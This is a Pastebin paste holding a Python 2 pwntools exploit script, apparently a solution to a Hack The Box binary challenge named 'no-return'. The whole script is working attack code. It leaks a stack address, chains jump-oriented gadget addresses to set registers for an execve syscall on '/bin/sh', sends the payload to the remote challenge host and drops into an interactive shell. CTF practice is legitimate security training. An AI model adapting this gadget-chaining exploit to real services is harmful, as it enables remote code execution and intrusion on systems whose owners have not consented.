Advertisement
Guest User

Untitled

a guest
Apr 4th, 2020
379
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 3.05 KB | None | 0 0
  1. #!/usr/bin/env python2
  2. # -*- coding: utf-8 -*-
  3. from pwn import *
  4.  
  5. # Set up pwntools for the correct architecture
  6. exe = context.binary = ELF('./no-return')
  7.  
  8. # Many built-in settings can be controlled on the command-line and show up
  9. # in "args".  For example, to dump all data sent/received, and disable ASLR
  10. # for all created processes...
  11. # ./exploit.py DEBUG NOASLR
  12. # ./exploit.py GDB HOST=example.com PORT=4141
  13. host = args.HOST or 'docker.hackthebox.eu'
  14. port = int(args.PORT or 31635)
  15.  
  16. # Specify your GDB script here for debugging
  17. # GDB will be launched if the exploit is run via e.g.
  18. # ./exploit.py GDB
  19. gdbscript = '''
  20. break *0x000000000040106d
  21. break *0x40109b
  22. '''.format(**locals())
  23.  
  24.  
  25. # Execute the target binary locally
  26. def local(argv=[], *a, **kw):
  27.     if args.GDB:
  28.         return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
  29.     else:
  30.         return process([exe.path] + argv, *a, **kw)
  31.  
  32. # Connect to the process on the remote host
  33. def remote(argv=[], *a, **kw):
  34.     io = connect(host, port)
  35.     if args.GDB:
  36.         gdb.attach(io, gdbscript=gdbscript)
  37.     return io
  38.  
  39. start = local if args.LOCAL else remote
  40.  
  41. #===========================================================
  42. #                    EXPLOIT GOES HERE
  43. #===========================================================
  44. #RDI = “/bin/sh” RSI = NULL RDX = NULL RAX = 59 execve("/bin/bash", NULL, NULL)
  45. io = start()
  46.  
  47. main = 0x40106d
  48. syscall = 0x401082
  49. subfunction = 0x401000
  50. # pop     rsp
  51. # pop     rdi
  52. # pop     rsi
  53. # pop     rbp
  54. # pop     rdx
  55. # pop     rcx
  56. # pop     rbx
  57. # xor     rax, rax
  58. # jmp     qword ptr [rdi+1]
  59. ret = 0x401062
  60. dispatcher = 0x40109b
  61. new_dispatcher = 0x401022
  62. inc_rax_jmp_rdx = 0x40100d
  63. pop_rdx_jmp_rcx = 0x401050
  64. xchg_rdi_rcx_jmp_rdx = 0x401067
  65. xchg_rax_rdx_jmp_rcx = 0x40105b
  66. mov_rcx_rsp_jmp_rdx = 0x40101c
  67. inc_rcx_jmp_rdx = 0x401053
  68. add_rsp_rsi_jmp_rdx = 0x401035
  69. add_rbp_rbx_jmp_rbp_minus_57 = 0x40103c
  70.  
  71. offset=176
  72. stack_addr = u64(io.recv(8).ljust(8, "\x00"))
  73. log.info("Leak stack: %#x" % stack_addr)
  74. buf_addr = stack_addr-176-8
  75. log.success("Buf start address: {}".format(hex(buf_addr)))
  76.  
  77. stack_dispatcher_addr = stack_addr - 16
  78. jump_addr = stack_addr - 24
  79.  
  80.  
  81. exploit = ""
  82. exploit += p64(stack_dispatcher_addr - 1) #rdi
  83. #Dispatcher setting
  84. exploit += p64(0) #rsi
  85. exploit += p64(buf_addr + 57 + 8*12) #rbp
  86. exploit += p64(stack_dispatcher_addr) #rdx
  87. exploit += p64(stack_dispatcher_addr) #rcx
  88. exploit += p64(8) #rbx
  89.  
  90. #exploit += p64(mov_rcx_rsp_jmp_rdx)
  91.  
  92. exploit += p64(pop_rdx_jmp_rcx)
  93. exploit += p64(59)
  94.  
  95. exploit += p64(xchg_rax_rdx_jmp_rcx)
  96.  
  97. exploit += p64(pop_rdx_jmp_rcx)
  98. exploit += p64(jump_addr)
  99.  
  100. exploit += p64(mov_rcx_rsp_jmp_rdx)
  101. exploit += "/bin/sh\x00"
  102. #exploit += p64(new_dispatcher)
  103.  
  104. exploit += p64(xchg_rdi_rcx_jmp_rdx)
  105.  
  106. exploit += p64(syscall)
  107.  
  108. exploit += "AAAAAAAA" *(offset/8 - len(exploit)/8 - 3)
  109. exploit += "/bin/sh\x00"
  110. exploit += p64(add_rbp_rbx_jmp_rbp_minus_57)
  111. exploit += p64(dispatcher)
  112. exploit += p64(subfunction)
  113. exploit += p64(buf_addr)
  114.  
  115. io.sendline(exploit)
  116.  
  117.  
  118. io.interactive()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement